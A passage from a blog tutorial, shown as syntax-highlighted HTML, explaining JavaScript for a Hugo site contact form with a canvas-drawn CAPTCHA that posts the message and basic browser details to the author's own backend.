</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#39;rgb(&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;,&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;,&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;)&#39;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">generateCaptcha</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">sent</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">captchaCanvas</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;captchaCanvas&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ctx</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">getContext</span>(<span style="color:#e6db74">&#34;2d&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">captchaText</span>.<span style="color:#a6e22e">value</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">font</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;25px Roboto&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">letterSpacing</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;20px&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">clearRect</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">7</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">cText</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">charAt</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">alphaNums</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">generatedCaptcha</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">cText</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">sDeg</span> <span style="color:#f92672">=</span> (Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">30</span> <span style="color:#f92672">*</span> Math.<span style="color:#a6e22e">PI</span>) <span style="color:#f92672">/</span> <span style="color:#ae81ff">180</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span> <span style="color:#f92672">+</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">8</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">fillText</span>(<span style="color:#a6e22e">cText</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span>, <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">rotate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">sDeg</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">translate</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">x</span>, <span style="color:#f92672">-</span><span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">6</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>,
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>			);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>,
</span></span><span style="display:flex;"><span>				Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>
</span></span><span style="display:flex;"><span>			);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">50</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">strokeStyle</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">randomColor</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">beginPath</span>();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">width</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#a6e22e">captchaCanvas</span>.<span style="color:#a6e22e">height</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">moveTo</span>(<span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">lineTo</span>(<span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">y</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">stroke</span>();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">generateCaptcha</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">sendMessage</span> <span style="color:#f92672">=</span> () =&gt; {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">admonition</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;none&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">message</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">messageText</span>.<span style="color:#a6e22e">value</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">enteredCaptcha</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;captchaText&#34;</span>).<span style="color:#a6e22e">value</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">sent</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">enteredCaptcha</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">generatedCaptcha</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">message</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">20</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">sent</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">today</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Date();
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">dateTime</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getDate</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;-&#39;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getMonth</span>() <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;-&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getFullYear</span>()) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39; &#39;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getHours</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getMinutes</span>() <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">today</span>.<span style="color:#a6e22e">getSeconds</span>());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">captchaText</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">messageText</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">submit</span>.<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">messageJson</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">MSG</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">message</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">UA</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">userAgent</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">LANG</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">navigator</span>.<span style="color:#a6e22e">language</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">DT</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">dateTime</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>,
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">ZONE</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">Intl</span>.<span style="color:#a6e22e">DateTimeFormat</span>().<span style="color:#a6e22e">resolvedOptions</span>().<span style="color:#a6e22e">timeZone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span>				});
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#34;POST&#34;</span>, <span style="color:#a6e22e">url</span>, <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">setRequestHeader</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>, <span style="color:#e6db74">&#34;application/json&#34;</span>);
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">onreadystatechange</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>					<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">readyState</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">status</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">200</span>) {
</span></span><span style="display:flex;"><span>						<span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">response</span>));
</span></span><span style="display:flex;"><span>					}
</span></span><span style="display:flex;"><span>				};
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">messageJson</span>);
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">submit</span>.<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Sent &amp;#10003;&#34;</span>;
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">admonition</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;block&#34;</span>;
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">errorMessage</span>.<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Message length must be greater than 20 characters&#34;</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">admonition</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;block&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">errorMessage</span>.<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Invalid or wrong Verification Code&#34;</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This is something I think I need to explain. In the first section, I am taking few variables and one as <code>alphaNums</code> to store alphanumeric string, which shall be used later. Now we also need <code>url</code>, where the message will be sent. In <a href="https://blzr.sbs/posts/forms-in-hugo-backend/">previous article</a>, we have seen how to make backend for the forms. We need that URL for the backend here.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">contactForm</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#34;formdisable&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Here, if JS is loaded, contact Form will be disabled. It is a simple Quality of Life thing for me.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">randomColor</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> <span style="color:#ae81ff">256</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#39;rgb(&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;,&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;,&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;)&#39;</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This creates a random color in RGB for Captcha, to be used later.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">63
